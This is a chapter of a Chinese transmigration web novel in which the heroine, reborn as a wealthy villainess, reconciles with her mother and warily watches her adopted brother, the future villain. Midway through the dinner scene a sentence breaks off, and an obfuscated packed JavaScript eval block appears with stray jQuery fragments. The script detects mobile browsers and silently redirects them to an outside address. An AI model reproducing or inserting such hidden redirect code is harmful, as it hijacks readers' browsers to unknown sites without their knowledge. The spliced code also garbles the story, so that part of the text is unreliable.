解散这场霸凌聚会后,沈怀欣回到自己房间,小心翼翼合上门。


    作为富豪独女,父母对原主有毫不掩饰的溺爱,为她打造公主床、备好华丽的衣帽间,装修精致得宛如一座精致的梦幻宫殿,房顶悬挂着水晶吊灯,柔和的白光洒落到房间每个角落,为整个空间披上了一层迷人的光辉,令她仿佛置身迪士尼的童话世界。


    沈怀欣穷了二十几年,头次身临其境地见到这种场面,完全超出了劳动人民的朴实幻想,直呼此行不虚。


    她屏住呼吸,抱着期待而紧张的心情踮起脚,往衣帽间走——以美貌著称的恶毒女配啊,连弟弟的基因都这么强,她该有多好看?


    沈怀欣推开门,点开灯,顿时惊呼出声。


    烟熏妆、香肠嘴配上鲜艳夺目的大花头饰,她像是毕加索的画作,生动形象地诠释出超现实主义的真谛。


    沈怀欣后退一步,暂时将她眼睛闭了起来。


    这不是真的……


    对对对,这个世界的确不是真的……她会回家的。


    想到这里,沈怀欣长舒口气,勇敢睁开眼,走到梳妆台上寻找卸妆水。经过反复揉搓和清水浇灌后,她从洗漱台前抬头,看到一位少女。


    “……”


    沈怀欣屏住呼吸,抿了抿唇,玻璃中的女孩也跟着抿唇,秋水似的眼眸望着她,她被瞧得不好意思,少女便低头莞尔,微湿的长发如瀑,滑落香肩,更显清丽脱俗。


    杜茗星在田埂里爆青,又跑又跳地踢着排水渠的水,自由的风拂过她的发丝,直到日头把她的皮肤晒得火辣,冒出红彤彤的蒸汽。纵然她与沈怀欣原主眉眼间有几分相似,也远不及对方精致而不食人间烟火的美貌。


    沈怀欣站在等身镜前沾沾自喜,一边哼着歌,一边换了几套衣服欣赏颜值,最后选择了一套浅色休闲装,等待父母回家。毕竟在自己家里,还是舒适为主。


    先到的是做完spa回家的沈母,沈怀欣一时都看呆了,如此美艳动人的贵妇,说是她姐姐都有人信。


    "欣欣?"沈母也愣住了,母女俩颇有种现在才认亲的感觉,"今天不化妆了?"


    她知道自家女儿不丑,但毕竟孩子有自己的审美,就由着她在脸上涂涂画画,现在看来,真是浪费了美貌。沈母越看越喜欢,拉着女儿的手坐下,怎么看都看不够。


    沈怀欣起初有些尴尬,但很快就被浓浓的亲情融化,放下了疏离。


    “乖囡这么好看,以后还是少画点妆,或者妈妈给你找化妆师,保证画得美美的。”


    沈怀欣敏锐地捕捉到台阶,忙不迭地点头,顺杆下坡:“以后不化妆了,天天画也累。”


    不远处传来一句轻轻的"妈妈",沈母转过头笑笑,语气温柔,


    "初墨过得还适应吗?妈给你俩带了甜点,看看喜不喜欢。"


    说罢,便让佣人将甜点带过来。沈怀欣看到精致的甜点,吞了口唾沫,摆了摆手:"我就不吃了,正在控糖。"


    沈初墨眼睛亮晶晶的,比沈怀欣之前见到的都要亮,看得出,这他是真喜欢。


    他抓起甜点,似乎未经咀嚼就吞进了肚子里,嘴边都是白花花的奶油,然后眼神直勾勾地盯着沈怀欣的那份。


    沈怀欣毫不怀疑,换成原主,有人敢如此觊觎她的东西,可能早就把甜点盖人脸上了。


    她有些好笑,把甜点推到沈初墨面前:"你吃吧。"


    【剧情偏差值-1,现值99。(结论:继续发展下去,小世界崩坏指日可待)】


    沈怀欣第一次看到减偏差值,虽然是个人的一小步,却是这个小世界人类的一大步,顿时信心大增。


    沈母看到沈怀欣的态度更是惊喜,她看看沈怀欣,又看看沈初墨,望向沈初墨时眼睛红了一圈,哽咽道,


    "我的孩子,你受苦了……"


    话音未落,饱满的眼泪就从沈母眼眶溢出,沈初墨顶着鼓鼓的腮帮愣了愣,伸出手去摸她的眼泪,被她一把抱进怀中。


    沈怀欣看到沈初墨用力眨了眨眼,又摸摸眼角,不小心把手上的奶油沾到了睫毛和眼皮上。


    沈怀欣不知道沈母脑补了什么,但她对之后的剧情很清楚。沈母越是加倍补偿儿子,在得知对方冒名顶替、且她儿子已确认死亡后就越憎恶"沈初墨",在她眼中,这个人是杀死她儿子又鸠占鹊巢的罪魁祸首,留着他只是方便更好的报复他。


    她抽了张纸巾,递给沈母,想了想,又抽了张,给沈初墨擦擦奶油脸。


    那张俊脸的五官挤在一起,比起悲伤,更像是在挤眉弄眼。沈怀欣有些看不下去这种拙劣的模仿了。


    模仿?这个词猛地蹦进沈怀欣脑海,她忽然觉得无比贴切……的确就像模仿,非人生命在模仿人类表情的违和感,就像很多精魅幻化成人的奇幻电影里那样。


    难怪他将来会被霸凌,表情管理实在太糟糕了,很容易让人以为他在嘲讽。


    唯一庆幸的是,沈母正沉浸在哀恸中,无暇顾及沈初墨的表情。


    沈初墨咽下奶油,少年的嗓音介于男人与男孩之间,清亮又带着恰到好处的沉:"妈妈,我不是来让你伤心的。"


    "妈妈怎么会伤心呢……呜呜……"沈母越搂越紧,满脸泪痕,"妈妈是心疼你啊……吃了这么多年苦,妈妈做梦都在盼你……"


    "没有吃苦,我站在你面前了,平平安安的。"


    沈初墨抚着沈母的背,一字一顿宽慰她。


    沈怀欣看得动容,真情总是打动人心,只是想到这对"母子"的结局,又不由唏嘘。她打定主意,要扭转这个结局,绝不做告密者,不仅是为了任务,也是为了沈母。


    只是沈初墨说谎时眼也不眨,甚至十分真诚,她不由按下方才的怜惜,提醒自己对未来boss不可掉以轻心。


    沈怀欣看了时钟:"妈妈,毕竟现在一家团圆了,不要难过了,这不爸爸也要回家了,我们一起快快乐乐地吃团圆饭。"


    "嗯,欣欣说得对。"沈母平复心情,擦拭眼泪,脸上哭花的妆不仅没显得脏,反而更凸显母爱深沉,令沈怀欣心底生出酸涩暖流。


    借着晚饭的当口,沈怀欣提出了给弟弟先请个老师的建议。作为系统选中的996打工人,她使出浑身解数,摆足了恶毒女配的嘴脸,表面上是替沈初墨好,实际在每次扫向对方时都带着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472177|169913||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    虎虎生威的眼刀,表示自己是为了折磨他才这么做。


    沈初墨则像个初入尘世的精灵,学习消化着眼刀,并将它学以致用,反馈给沈怀欣。


    他眼眸幽深,宛若鹰视狼顾,瞄准孱弱的猎物。明明知道沈初墨还未黑化成最终boss,仍激得沈怀欣寒毛立起,心口突突直跳,强大的压迫感让她避开目光,眼尾泛红。


    沈怀欣扭扭脖子,总觉得脑袋摆放的姿势有点难受,被他一扫,感觉多了个头。


    她记得书中的描写。鲜血溅到沈初墨眼上,他眼皮未动,眸色冷淡,掐在手中的异能者随着骨骼发出的裂响一点点失去生机,呈现出灰败的凋零,能量的光芒缠绕上手臂,涌入他体内,被他吞噬、同化。


    那绝不是对于一个正派的描写。


    只是看到沈初墨幼崽期的样子,实在很难想象就是。


    "怀欣啊,你有这份心思,爸爸很感动,"沈父点头,欣慰道,"看来你们相处得不错,那为你弟弟召开发布会的事,不妨再考虑下?"


    原文中,原主一直反对官宣沈初墨,故而沈父沈母为了照顾女儿心情一直拖着,打算再等段时间,等到原主不那么反感了再召开,没想到不仅没等到发布会,反而等到了儿子身亡的消息。


    沈怀欣本想一口答应,却收到了系统崩人设的警告,只好作罢。官宣毕竟是大事,原主一直强烈反对,看来直接同意确实太不符合人设。


    沈怀欣顶着脑中的警告开口:"再说吧。"


    见女儿态度有所软化,沈父老怀沈慰,给一双儿女多夹了几道菜,很快沈初墨的碗内就堆成了山。沈母微笑着看着几人,眼里满是慈爱。


    沈怀欣盯着脸部逐渐仓鼠化的沈初墨,给他又添了许多菜,一方面是好奇反派会不会撑死,另一方面也很恶趣味地想,书中病娇阴翳、杀人不眨眼的最终大boss有没有可能变成个圆滚滚的团子。


    深夜。


    沈初墨从梦中惊醒时,还残留着刀尖冰冷的触感,以及一点点划过脸颊时引起的刺痛。他开始意识到,伤口会愈合,但也会痛,愈合后会留下看不见的疤,在状似完好的皮肤下隐隐作痛。


    梦中的一切都显得如此真实,与今天相差无几,他能清楚地回忆起自己当时的心情,仿佛那才是现实。


    可唯一的变量——


    "……姐姐?"


    沈初墨不确定地跟自己说,一时忘记,她不允许自己这样称呼她。


    在梦里,姐姐看着他渐渐愈合的伤口,露出了笑容,牙齿白得发寒。如果忍耐一点痛能让姐姐开心,他想,他应该忍下去。只是那种纯粹到无邪的恶意,仿佛根植于他的心脏,久久无法忘怀。


    而在现实中,姐姐的手段似乎不那么痛,只是语气严厉了点,给他剪发,又说要请老师,想必是为他好才对。只是那些行为比梦中更让他疑惑,想不透是为什么。


    于是他更加仔细地去看,去探究,发现她望向他时表情瞬息万变,自然又流畅,每一帧都是从未见到的新奇风景,等瞧得入迷后后悔被她不轻不重地瞪上一眼,以示警告。


    没关系,他又想,他还有很多时间寻找答案。